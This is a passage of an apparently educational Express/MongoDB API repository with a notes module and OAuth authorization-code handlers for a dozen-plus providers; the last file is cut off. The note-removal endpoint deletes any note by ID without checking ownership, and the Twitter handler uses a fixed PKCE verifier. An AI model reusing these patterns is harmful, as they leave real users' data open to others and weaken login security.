",
6 | "scripts": {
7 | "seed": "babel-node src/setup/server/seeder.js",
8 | "setup": "npm install && npm run seed",
9 | "start": "nodemon src/index.js --exec babel-node",
10 | "start:prod": "npm run build:prod && npm run start:server",
11 | "build:prod": "babel src -s -D -d build",
12 | "start:server": "node build/index.js"
13 | },
14 | "husky": {
15 | "hooks": {
16 | "pre-commit": "pretty-quick --staged"
17 | }
18 | },
19 | "dependencies": {
20 | "axios": "^0.27.2",
21 | "bcrypt": "5.0.1",
22 | "body-parser": "1.20.0",
23 | "cors": "2.8.5",
24 | "dotenv": "16.0.1",
25 | "express": "4.18.1",
26 | "fullstack-validator": "^1.0.0",
27 | "ip": "1.1.8",
28 | "jsonwebtoken": "8.5.1",
29 | "lodash": "4.17.21",
30 | "moment": "^2.29.3",
31 | "mongoose": "6.3.3",
32 | "morgan": "1.10.0",
33 | "multer": "1.4.4"
34 | },
35 | "devDependencies": {
36 | "@babel/cli": "7.17.10",
37 | "@babel/core": "7.17.12",
38 | "@babel/node": "7.17.10",
39 | "@babel/plugin-proposal-class-properties": "^7.17.12",
40 | "@babel/plugin-transform-runtime": "7.17.12",
41 | "@babel/preset-env": "7.17.12",
42 | "@babel/runtime": "7.17.9",
43 | "babel-plugin-module-resolver": "^4.1.0",
44 | "husky": "^4.3.6",
45 | "nodemon": "2.0.16",
46 | "prettier": "2.6.2",
47 | "pretty-quick": "^3.1.3"
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/index.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import express from 'express'
3 |
4 | // App Imports
5 | import { connect } from 'setup/server/database'
6 | import middlewares from 'setup/server/middlewares'
7 | import endpoint from 'setup/server/endpoint'
8 | import start from 'setup/server/start'
9 |
10 | // Create express server
11 | const server = express()
12 |
13 | // Connect database
14 | connect()
15 |
16 | // Setup middlewares
17 | middlewares(server)
18 |
19 | // Setup endpoint
20 | endpoint(server)
21 |
22 | // Start server
23 | start(server)
24 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/common/errors.js:
--------------------------------------------------------------------------------
1 | // App Imports
2 | import params from 'setup/config/params'
3 |
4 | // Auth
5 | class AuthError extends Error {
6 | constructor(message) {
7 | super(message)
8 |
9 | this.code = params.common.errors.auth
10 | }
11 | }
12 |
13 | // Validation
14 | class ValidationError extends Error {
15 | constructor(message) {
16 | super(message)
17 |
18 | this.code = params.common.errors.validation
19 | }
20 | }
21 |
22 | export { AuthError, ValidationError }
23 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/note/index.js:
--------------------------------------------------------------------------------
1 | // App imports
2 | import query from './query'
3 | import mutation from './mutation'
4 |
5 | export default {
6 | ...query,
7 | ...mutation,
8 | }
9 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/note/model.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import mongoose, { Schema } from 'mongoose'
3 |
4 | // App imports
5 | import { collection as User } from 'modules/user/model'
6 |
7 | // Collection name
8 | export const collection = 'Note'
9 |
10 | // Schema
11 | const schema = new Schema(
12 | {
13 | userId: {
14 | type: Schema.Types.ObjectId,
15 | ref: User,
16 | required: true,
17 | index: true,
18 | },
19 |
20 | text: {
21 | type: String,
22 | required: true,
23 | },
24 |
25 | isDeleted: {
26 | type: Boolean,
27 | required: true,
28 | default: false,
29 | index: true,
30 | },
31 | },
32 | { timestamps: true },
33 | )
34 |
35 | // Model
36 | export default mongoose.model(collection, schema, collection)
37 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/note/mutation/index.js:
--------------------------------------------------------------------------------
1 | // App imports
2 | import noteSave from './save'
3 | import noteRemove from './remove'
4 |
5 | // Mutations
6 | export default {
7 | noteSave,
8 | noteRemove,
9 | }
10 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/note/mutation/remove.js:
--------------------------------------------------------------------------------
1 | // App imports
2 | import { authCheck } from 'setup/helpers/utils'
3 | import v from 'setup/helpers/validation'
4 | import { AuthError, ValidationError } from 'modules/common/errors'
5 | import Note from 'modules/note/model'
6 |
7 | // Remove
8 | export default async function remove({ params: { noteId }, auth }) {
9 | if (authCheck(auth)) {
10 | // Validation rules
11 | const rules = [
12 | {
13 | data: { value: noteId },
14 | check: 'isNotEmpty',
15 | message: 'Invalid note.',
16 | },
17 | ]
18 |
19 | // Validate
20 | try {
21 | v.validate(rules)
22 | } catch (error) {
23 | throw new ValidationError(error.message)
24 | }
25 |
26 | try {
27 | // Note
28 | const data = await Note.updateOne(
29 | { _id: noteId },
30 | { $set: { isDeleted: true } },
31 | )
32 |
33 | return {
34 | data,
35 | message: `Note has been removed successfully.`,
36 | }
37 | } catch (error) {
38 | throw new Error(`An error occurred. ${error.message}`)
39 | }
40 | }
41 |
42 | throw new AuthError('You are not authorized to perform this action.')
43 | }
44 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/note/mutation/save.js:
--------------------------------------------------------------------------------
1 | // App imports
2 | import params from 'setup/config/params'
3 | import { authCheck } from 'setup/helpers/utils'
4 | import v from 'setup/helpers/validation'
5 | import { AuthError, ValidationError } from 'modules/common/errors'
6 | import Note from 'modules/note/model'
7 |
8 | // Save
9 | export default async function save({ params: { text }, auth }) {
10 | if (authCheck(auth)) {
11 | // Validation rules
12 | const rules = [
13 | {
14 | data: { value: text },
15 | check: 'isNotEmpty',
16 | message: 'Invalid text.',
17 | },
18 | ]
19 |
20 | // Validate
21 | try {
22 | v.validate(rules)
23 | } catch (error) {
24 | throw new ValidationError(error.message)
25 | }
26 |
27 | try {
28 | const fields = { userId: auth.user._id, text }
29 |
30 | // Note
31 | const data = await Note.create({
32 | ...fields,
33 | isDeleted: false,
34 | })
35 |
36 | return {
37 | data,
38 | message: `Note has been saved successfully.`,
39 | }
40 | } catch (error) {
41 | throw new Error(`An error occurred. ${error.message}`)
42 | }
43 | }
44 |
45 | throw new AuthError('You are not authorized to perform this action.')
46 | }
47 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/note/query/index.js:
--------------------------------------------------------------------------------
1 | // App imports
2 | import noteList from './list'
3 |
4 | // Queries
5 | export default {
6 | noteList,
7 | }
8 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/note/query/list.js:
--------------------------------------------------------------------------------
1 | // App imports
2 | import { authCheck } from 'setup/helpers/utils'
3 | import { AuthError } from 'modules/common/errors'
4 | import Note from 'modules/note/model'
5 |
6 | // List
7 | export default async function list({ auth }) {
8 | if (authCheck(auth)) {
9 | try {
10 | // Note
11 | const data = await Note.find({
12 | userId: auth.user._id,
13 | isDeleted: false,
14 | }).sort({ createdAt: -1 })
15 |
16 | return {
17 | data,
18 | }
19 | } catch (error) {
20 | throw new Error(`An error occurred. ${error.message}`)
21 | }
22 | }
23 |
24 | throw new AuthError('You are not authorized to perform this action.')
25 | }
26 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/index.js:
--------------------------------------------------------------------------------
1 | // App Imports
2 | import query from './query'
3 | import mutation from './mutation'
4 |
5 | export default {
6 | ...query,
7 | ...mutation,
8 | }
9 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/model.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import mongoose, { Schema } from 'mongoose'
3 |
4 | // Collection name
5 | export const collection = 'User'
6 |
7 | // Schema
8 | const schema = new Schema(
9 | {
10 | email: {
11 | type: String,
12 | required: true,
13 | unique: true,
14 | index: true,
15 | },
16 |
17 | password: {
18 | type: String,
19 | required: true,
20 | },
21 |
22 | name: {
23 | type: String,
24 | required: true,
25 | },
26 | },
27 | { timestamps: true },
28 | )
29 |
30 | // Model
31 | export default mongoose.model(collection, schema, collection)
32 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/azure.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import {
6 | OAUTH_AZURE_ID,
7 | OAUTH_AZURE_SECRET,
8 | OAUTH_AZURE_TENANT,
9 | URL_WEB,
10 | } from 'setup/config/env'
11 | import params from 'setup/config/params'
12 |
13 | // azure
14 | export default async function azure({ code }) {
15 | let userProvider
16 |
17 | // 1. access_token account using OAuth code
18 | const form = new URLSearchParams()
19 | form.append('client_id', OAUTH_AZURE_ID)
20 | form.append('client_secret', OAUTH_AZURE_SECRET)
21 | form.append('redirect_uri', `${URL_WEB}/${params.user.oauth.redirectUri}`)
22 | form.append('grant_type', `authorization_code`)
23 | form.append(
24 | 'scope',
25 | [
26 | 'offline_access',
27 | 'openid',
28 | 'email',
29 | 'profile',
30 | 'https://graph.microsoft.com/user.read',
31 | ].join(' '),
32 | )
33 | form.append('code', code)
34 |
35 | const access = await axios({
36 | url: `https://login.microsoftonline.com/${OAUTH_AZURE_TENANT}/oauth2/v2.0/token`,
37 | method: 'post',
38 | data: form,
39 | })
40 |
41 | // 2. get user details
42 | if (access.data && access.data.access_token) {
43 | const me = await axios({
44 | url: 'https://graph.microsoft.com/v1.0/me',
45 | method: 'get',
46 | headers: {
47 | 'content-type': 'application/json',
48 | Authorization: `Bearer ${access.data.access_token}`,
49 | },
50 | })
51 |
52 | if (me.data && me.data.id) {
53 | userProvider = {
54 | email: me.data.userPrincipalName,
55 | name: me.data.displayName,
56 | }
57 | }
58 | }
59 |
60 | return userProvider
61 | }
62 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/bitbucket.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import { OAUTH_BITBUCKET_ID, OAUTH_BITBUCKET_SECRET } from 'setup/config/env'
6 |
7 | // bitbucket
8 | export default async function bitbucket({ code }) {
9 | let userProvider
10 |
11 | // 1. get access_token account using OAuth code
12 | const form = new URLSearchParams()
13 | form.append('grant_type', 'authorization_code')
14 | form.append('code', code)
15 | const access = await axios({
16 | url: 'https://bitbucket.org/site/oauth2/access_token',
17 | method: 'post',
18 | data: form,
19 | auth: {
20 | username: OAUTH_BITBUCKET_ID,
21 | password: OAUTH_BITBUCKET_SECRET,
22 | },
23 | })
24 |
25 | // 2. get user details
26 | if (access.data && access.data.access_token) {
27 | const me = await axios({
28 | url: 'https://api.bitbucket.org/2.0/user',
29 | method: 'get',
30 | headers: {
31 | 'content-type': 'application/json',
32 | Authorization: `Bearer ${access.data.access_token}`,
33 | },
34 | })
35 |
36 | if (me.data && me.data) {
37 | // 3. get user emails
38 | const emails = await axios({
39 | url: 'https://api.bitbucket.org/2.0/user/emails',
40 | method: 'get',
41 | headers: {
42 | 'content-type': 'application/json',
43 | Authorization: `Bearer ${access.data.access_token}`,
44 | },
45 | })
46 |
47 | if (emails && emails.data) {
48 | userProvider = {
49 | email: emails.data.values[0].email,
50 | name: me.data.display_name,
51 | }
52 | }
53 | }
54 | }
55 |
56 | return userProvider
57 | }
58 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/digitalocean.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import {
6 | OAUTH_DIGITALOCEAN_ID,
7 | OAUTH_DIGITALOCEAN_SECRET,
8 | URL_WEB,
9 | } from 'setup/config/env'
10 | import params from 'setup/config/params'
11 |
12 | // digitalocean
13 | export default async function digitalocean({ code }) {
14 | let userProvider
15 |
16 | // 1. get access_token account using OAuth code
17 | const access = await axios({
18 | url: 'https://cloud.digitalocean.com/v1/oauth/token',
19 | method: 'post',
20 | headers: { accept: 'application/json' },
21 | params: {
22 | client_id: OAUTH_DIGITALOCEAN_ID,
23 | client_secret: OAUTH_DIGITALOCEAN_SECRET,
24 | redirect_uri: `${URL_WEB}/${params.user.oauth.redirectUri}`,
25 | grant_type: 'authorization_code',
26 | code,
27 | },
28 | })
29 |
30 | // 2. get user details
31 | if (access.data && access.data.access_token) {
32 | const me = await axios({
33 | url: 'https://api.digitalocean.com/v2/account',
34 | method: 'get',
35 | headers: {
36 | 'content-type': 'application/json',
37 | Authorization: `Bearer ${access.data.access_token}`,
38 | },
39 | })
40 |
41 | if (me.data && me.data.account) {
42 | userProvider = {
43 | email: me.data.account.email,
44 | name: access.data.info.name,
45 | }
46 | }
47 | }
48 |
49 | return userProvider
50 | }
51 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/discord.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import {
6 | OAUTH_DISCORD_ID,
7 | OAUTH_DISCORD_SECRET,
8 | URL_WEB,
9 | } from 'setup/config/env'
10 | import params from 'setup/config/params'
11 |
12 | // discord
13 | export default async function discord({ code }) {
14 | let userProvider
15 |
16 | // 1. access_token account using OAuth code
17 | const form = new URLSearchParams()
18 | form.append('client_id', OAUTH_DISCORD_ID)
19 | form.append('client_secret', OAUTH_DISCORD_SECRET)
20 | form.append('redirect_uri', `${URL_WEB}/${params.user.oauth.redirectUri}`)
21 | form.append('grant_type', `authorization_code`)
22 | form.append('scope', `identify email`)
23 | form.append('code', code)
24 |
25 | const access = await axios({
26 | url: 'https://discordapp.com/api/oauth2/token',
27 | method: 'post',
28 | data: form,
29 | })
30 |
31 | // 2. get user details
32 | if (access.data && access.data.access_token) {
33 | const me = await axios({
34 | url: 'https://discordapp.com/api/users/@me',
35 | method: 'get',
36 | headers: {
37 | 'content-type': 'application/json',
38 | Authorization: `Bearer ${access.data.access_token}`,
39 | },
40 | })
41 |
42 | if (me.data && me.data.id) {
43 | userProvider = {
44 | email: me.data.email,
45 | name: me.data.username,
46 | }
47 | }
48 | }
49 |
50 | return userProvider
51 | }
52 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/facebook.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import {
6 | OAUTH_FACEBOOK_ID,
7 | OAUTH_FACEBOOK_SECRET,
8 | URL_WEB,
9 | } from 'setup/config/env'
10 | import params from 'setup/config/params'
11 |
12 | // facebook
13 | export default async function facebook({ code }) {
14 | let userProvider
15 |
16 | // 1. get access_token account using OAuth code
17 | const access = await axios({
18 | url: 'https://graph.facebook.com/v6.0/oauth/access_token',
19 | method: 'get',
20 | params: {
21 | client_id: OAUTH_FACEBOOK_ID,
22 | client_secret: OAUTH_FACEBOOK_SECRET,
23 | redirect_uri: `${URL_WEB}/${params.user.oauth.redirectUri}`,
24 | code,
25 | },
26 | })
27 |
28 | // 2. get user details
29 | if (access.data && access.data.access_token) {
30 | const me = await axios({
31 | url: 'https://graph.facebook.com/me',
32 | method: 'get',
33 | params: {
34 | fields: ['id', 'email', 'name'].join(','),
35 | access_token: access.data.access_token,
36 | },
37 | })
38 |
39 | if (me.data && me.data.id) {
40 | userProvider = {
41 | email: me.data.email,
42 | name: me.data.name,
43 | }
44 | }
45 | }
46 |
47 | return userProvider
48 | }
49 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/github.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import { OAUTH_GITHUB_ID, OAUTH_GITHUB_SECRET, URL_WEB } from 'setup/config/env'
6 | import params from 'setup/config/params'
7 |
8 | // github
9 | export default async function github({ code }) {
10 | let userProvider
11 |
12 | // 1. get access_token account using OAuth code
13 | const access = await axios({
14 | url: 'https://github.com/login/oauth/access_token',
15 | method: 'get',
16 | headers: { accept: 'application/json' },
17 | params: {
18 | client_id: OAUTH_GITHUB_ID,
19 | client_secret: OAUTH_GITHUB_SECRET,
20 | redirect_uri: `${URL_WEB}/${params.user.oauth.redirectUri}`,
21 | code,
22 | },
23 | })
24 |
25 | // 2. get user details
26 | if (access.data && access.data.access_token) {
27 | const me = await axios({
28 | url: 'https://api.github.com/user',
29 | method: 'get',
30 | headers: {
31 | 'content-type': 'application/json',
32 | Authorization: `token ${access.data.access_token}`,
33 | },
34 | })
35 |
36 | if (me.data && me.data.id) {
37 | userProvider = {
38 | email: me.data.email,
39 | name: me.data.name,
40 | }
41 | }
42 | }
43 |
44 | return userProvider
45 | }
46 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/gitlab.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import { OAUTH_GITLAB_ID, OAUTH_GITLAB_SECRET, URL_WEB } from 'setup/config/env'
6 | import params from 'setup/config/params'
7 |
8 | // gitlab
9 | export default async function gitlab({ code }) {
10 | let userProvider
11 |
12 | // 1. get access_token account using OAuth code
13 | const access = await axios({
14 | url: `https://gitlab.com/oauth/token`,
15 | method: 'post',
16 | params: {
17 | client_id: OAUTH_GITLAB_ID,
18 | client_secret: OAUTH_GITLAB_SECRET,
19 | redirect_uri: `${URL_WEB}/${params.user.oauth.redirectUri}`,
20 | grant_type: 'authorization_code',
21 | code,
22 | },
23 | })
24 |
25 | // 2. get user details
26 | if (access.data && access.data.access_token) {
27 | const me = await axios({
28 | url: 'https://gitlab.com/api/v4/user',
29 | method: 'get',
30 | headers: {
31 | 'content-type': 'application/json',
32 | Authorization: `Bearer ${access.data.access_token}`,
33 | },
34 | })
35 |
36 | if (me.data && me.data.id) {
37 | userProvider = {
38 | email: me.data.email,
39 | name: me.data.name,
40 | }
41 | }
42 | }
43 |
44 | return userProvider
45 | }
46 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/google.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import { OAUTH_GOOGLE_ID, OAUTH_GOOGLE_SECRET, URL_WEB } from 'setup/config/env'
6 | import params from 'setup/config/params'
7 |
8 | // google
9 | export default async function google({ code }) {
10 | let userProvider
11 |
12 | // 1. get access_token account using OAuth code
13 | const access = await axios({
14 | url: `https://oauth2.googleapis.com/token`,
15 | method: 'post',
16 | data: {
17 | client_id: OAUTH_GOOGLE_ID,
18 | client_secret: OAUTH_GOOGLE_SECRET,
19 | redirect_uri: `${URL_WEB}/${params.user.oauth.redirectUri}`,
20 | grant_type: 'authorization_code',
21 | code,
22 | },
23 | })
24 |
25 | // 2. get user details
26 | if (access.data && access.data.access_token) {
27 | const me = await axios({
28 | url: 'https://www.googleapis.com/oauth2/v2/userinfo',
29 | method: 'get',
30 | headers: {
31 | Authorization: `Bearer ${access.data.access_token}`,
32 | },
33 | })
34 |
35 | if (me.data && me.data.id) {
36 | userProvider = {
37 | email: me.data.email,
38 | name: me.data.name,
39 | }
40 | }
41 | }
42 |
43 | return userProvider
44 | }
45 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/instagram.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import {
6 | OAUTH_INSTAGRAM_ID,
7 | OAUTH_INSTAGRAM_SECRET,
8 | URL_WEB,
9 | } from 'setup/config/env'
10 | import params from 'setup/config/params'
11 |
12 | // instagram
13 | export default async function instagram({ code }) {
14 | let userProvider
15 |
16 | // 1. get (short lived) access_token account using OAuth code
17 | const form = new URLSearchParams()
18 | form.append('client_id', OAUTH_INSTAGRAM_ID)
19 | form.append('client_secret', OAUTH_INSTAGRAM_SECRET)
20 | // form.append('redirect_uri', `${URL_WEB}/${params.user.oauth.redirectUri}`) // live
21 | form.append(
22 | 'redirect_uri',
23 | `https://example.com/${params.user.oauth.redirectUri}`,
24 | ) // test
25 | form.append('grant_type', `authorization_code`)
26 | form.append('code', code)
27 |
28 | const short = await axios({
29 | url: 'https://api.instagram.com/oauth/access_token',
30 | method: 'post',
31 | data: form,
32 | })
33 |
34 | // 2. get (long lived) access_token account using OAuth code
35 | if (short.data && short.data.access_token) {
36 | const long = await axios({
37 | url: 'https://graph.instagram.com/access_token',
38 | method: 'get',
39 | params: {
40 | grant_type: 'ig_exchange_token',
41 | client_secret: OAUTH_INSTAGRAM_SECRET,
42 | access_token: short.data.access_token,
43 | },
44 | })
45 |
46 | // 3. get user details
47 | const me = await axios({
48 | url: 'https://graph.instagram.com/me',
49 | method: 'get',
50 | params: {
51 | fields: ['id', 'username', 'account_type', 'media_count'].join(','),
52 | client_secret: OAUTH_INSTAGRAM_SECRET,
53 | access_token: long.data.access_token,
54 | },
55 | })
56 |
57 | if (me.data && me.data.id) {
58 | userProvider = {
59 | email: `${me.data.username}@instagram.com`, // Instagram does not return `email` field
60 | name: me.data.username,
61 | }
62 | }
63 | }
64 |
65 | return userProvider
66 | }
67 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/linkedin.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import {
6 | OAUTH_LINKEDIN_ID,
7 | OAUTH_LINKEDIN_SECRET,
8 | URL_WEB,
9 | } from 'setup/config/env'
10 | import params from 'setup/config/params'
11 |
12 | // linkedin
13 | export default async function linkedin({ code }) {
14 | let userProvider
15 |
16 | // 1. access_token account using OAuth code
17 | const form = new URLSearchParams()
18 | form.append('client_id', OAUTH_LINKEDIN_ID)
19 | form.append('client_secret', OAUTH_LINKEDIN_SECRET)
20 | form.append('redirect_uri', `${URL_WEB}/${params.user.oauth.redirectUri}`)
21 | form.append('grant_type', `authorization_code`)
22 | form.append('code', code)
23 |
24 | const access = await axios({
25 | url: `https://www.linkedin.com/oauth/v2/accessToken`,
26 | method: 'post',
27 | data: form,
28 | })
29 |
30 | // 2. get user details
31 | if (access.data && access.data.access_token) {
32 | const me = await axios({
33 | url: 'https://api.linkedin.com/v2/me',
34 | method: 'get',
35 | headers: {
36 | 'content-type': 'application/json',
37 | Authorization: `Bearer ${access.data.access_token}`,
38 | },
39 | })
40 |
41 | const meEmail = await axios({
42 | url:
43 | 'https://api.linkedin.com/v2/clientAwareMemberHandles?q=members&projection=(elements*(primary,type,handle~))',
44 | method: 'get',
45 | headers: {
46 | 'content-type': 'application/json',
47 | Authorization: `Bearer ${access.data.access_token}`,
48 | },
49 | })
50 |
51 | if (me.data && meEmail.data) {
52 | userProvider = {
53 | email: meEmail.data.elements[0]['handle~'].emailAddress,
54 | name: `${me.data.localizedFirstName} ${me.data.localizedLastName}`,
55 | }
56 | }
57 | }
58 |
59 | return userProvider
60 | }
61 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/reddit.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import { OAUTH_REDDIT_ID, OAUTH_REDDIT_SECRET, URL_WEB } from 'setup/config/env'
6 | import params from 'setup/config/params'
7 |
8 | // reddit
9 | export default async function reddit({ code }) {
10 | let userProvider
11 |
12 | // 1. get access_token account using OAuth code
13 | const access = await axios({
14 | url: 'https://www.reddit.com/api/v1/access_token',
15 | method: 'post',
16 | headers: { accept: 'application/json' },
17 | auth: {
18 | username: OAUTH_REDDIT_ID,
19 | password: OAUTH_REDDIT_SECRET,
20 | },
21 | params: {
22 | redirect_uri: `${URL_WEB}/${params.user.oauth.redirectUri}`,
23 | grant_type: 'authorization_code',
24 | code,
25 | },
26 | })
27 |
28 | // 2. get user details
29 | if (access.data && access.data.access_token) {
30 | const me = await axios({
31 | url: 'https://oauth.reddit.com/api/v1/me',
32 | method: 'get',
33 | headers: {
34 | 'content-type': 'application/json',
35 | Authorization: `bearer ${access.data.access_token}`,
36 | },
37 | })
38 |
39 | if (me.data && me.data.name) {
40 | userProvider = {
41 | email: `${me.data.name}@reddit.com`, // Reddit does not return `email` field
42 | name: me.data.name,
43 | }
44 | }
45 | }
46 |
47 | return userProvider
48 | }
49 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/shopify.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import {
6 | OAUTH_SHOPIFY_ID,
7 | OAUTH_SHOPIFY_SECRET,
8 | OAUTH_SHOPIFY_STORE,
9 | } from 'setup/config/env'
10 |
11 | // shopify
12 | export default async function shopify({ code }) {
13 | let userProvider
14 |
15 | // 1. access_token account using OAuth code
16 | const access = await axios({
17 | url: `https://${OAUTH_SHOPIFY_STORE}.myshopify.com/admin/oauth/access_token`,
18 | method: 'post',
19 | params: {
20 | client_id: OAUTH_SHOPIFY_ID,
21 | client_secret: OAUTH_SHOPIFY_SECRET,
22 | code,
23 | },
24 | })
25 |
26 | // 2. get store details
27 | if (access.data && access.data.access_token) {
28 | const store = await axios({
29 | url: `https://${OAUTH_SHOPIFY_STORE}.myshopify.com/admin/api/2020-04/shop.json`,
30 | method: 'get',
31 | headers: {
32 | 'content-type': 'application/json',
33 | 'X-Shopify-Access-Token': access.data.access_token,
34 | },
35 | })
36 |
37 | if (store.data && store.data && store.data.shop) {
38 | userProvider = {
39 | email: store.data.shop.email,
40 | name: store.data.shop.name,
41 | }
42 | }
43 | }
44 |
45 | return userProvider
46 | }
47 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/spotify.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import {
6 | OAUTH_SPOTIFY_ID,
7 | OAUTH_SPOTIFY_SECRET,
8 | URL_WEB,
9 | } from 'setup/config/env'
10 | import params from 'setup/config/params'
11 |
12 | // spotify
13 | export default async function spotify({ code }) {
14 | let userProvider
15 |
16 | // 1. access_token account using OAuth code
17 | const access = await axios({
18 | url: 'https://accounts.spotify.com/api/token',
19 | method: 'post',
20 | headers: {
21 | Authorization: `Basic ${Buffer.from(
22 | `${OAUTH_SPOTIFY_ID}:${OAUTH_SPOTIFY_SECRET}`,
23 | ).toString('base64')}`,
24 | },
25 | params: {
26 | redirect_uri: `${URL_WEB}/${params.user.oauth.redirectUri}`,
27 | grant_type: `authorization_code`,
28 | code,
29 | },
30 | })
31 |
32 | // 2. get user details
33 | if (access.data && access.data.access_token) {
34 | const me = await axios({
35 | url: 'https://api.spotify.com/v1/me',
36 | method: 'get',
37 | headers: {
38 | 'content-type': 'application/json',
39 | Authorization: `Bearer ${access.data.access_token}`,
40 | },
41 | })
42 |
43 | if (me.data && me.data.id) {
44 | userProvider = {
45 | email: me.data.email,
46 | name: me.data.display_name,
47 | }
48 | }
49 | }
50 |
51 | return userProvider
52 | }
53 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/twitter.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import { OAUTH_TWITTER_ID, URL_WEB } from 'setup/config/env'
6 | import params from 'setup/config/params'
7 |
8 | // twitter
9 | export default async function twitter({ code }) {
10 | let userProvider
11 |
12 | // 1. access_token account using OAuth code
13 | const form = new URLSearchParams()
14 | form.append('client_id', OAUTH_TWITTER_ID)
15 | form.append('redirect_uri', `${URL_WEB}/${params.user.oauth.redirectUri}`)
16 | form.append('grant_type', `authorization_code`)
17 | form.append('code_verifier', `code_challenge`)
18 | form.append('code', code)
19 |
20 | const access = await axios({
21 | url: `https://api.twitter.com/2/oauth2/token`,
22 | method: 'post',
23 | data: form,
24 | })
25 |
26 | // 2. get user details
27 | if (access.data && access.data.access_token) {
28 | const me = await axios({
29 | url: 'https://api.twitter.com/2/users/me',
30 | method: 'get',
31 | headers: {
32 | 'content-type': 'application/json',
33 | Authorization: `Bearer ${access.data.access_token}`,
34 | },
35 | })
36 |
37 | if (me.data && me.data.data) {
38 | userProvider = {
39 | // since twitter does not return email, we construct a dummy email for database
40 | email: `${me.data.data.username}.${me.data.data.id}@example.com`,
41 | name: me.data.data.name,
42 | }
43 | }
44 | }
45 |
46 | return userProvider
47 | }
48 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/authorize/zoom.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import { OAUTH_ZOOM_ID, OAUTH_ZOOM_SECRET, URL_WEB } from 'setup/config/env'
6 | import params from 'setup/config/params'
7 |
8 | // zoom
9 | export default async function zoom({ code }) {
10 | let userProvider
11 |
12 | // 1. get access_token account using OAuth code
13 | const access = await axios({
14 | url: 'https://zoom.us/oauth/token',
15 | method: 'post',
16 | headers: {
17 | Authorization: `Basic ${Buffer.from(
18 | `${OAUTH_ZOOM_ID}:${OAUTH_ZOOM_SECRET}`,
19 | ).toString('base64')}`,
20 | },
21 | params: {
22 | redirect_uri: `${URL_WEB}/${params.user.oauth.redirectUri}`,
23 | grant_type: `authorization_code`,
24 | code,
25 | },
26 | })
27 |
28 | // 2. get user details
29 | if (access.data && access.data.access_token) {
30 | const me = await axios({
31 | url: 'https://api.zoom.us/v2/users/me',
32 | method: 'get',
33 | headers: {
34 | 'content-type': 'application/json',
35 | Authorization: `Bearer ${access.data.access_token}`,
36 | },
37 | })
38 |
39 | if (me.data && me.data.id) {
40 | userProvider = {
41 | email: me.data.email,
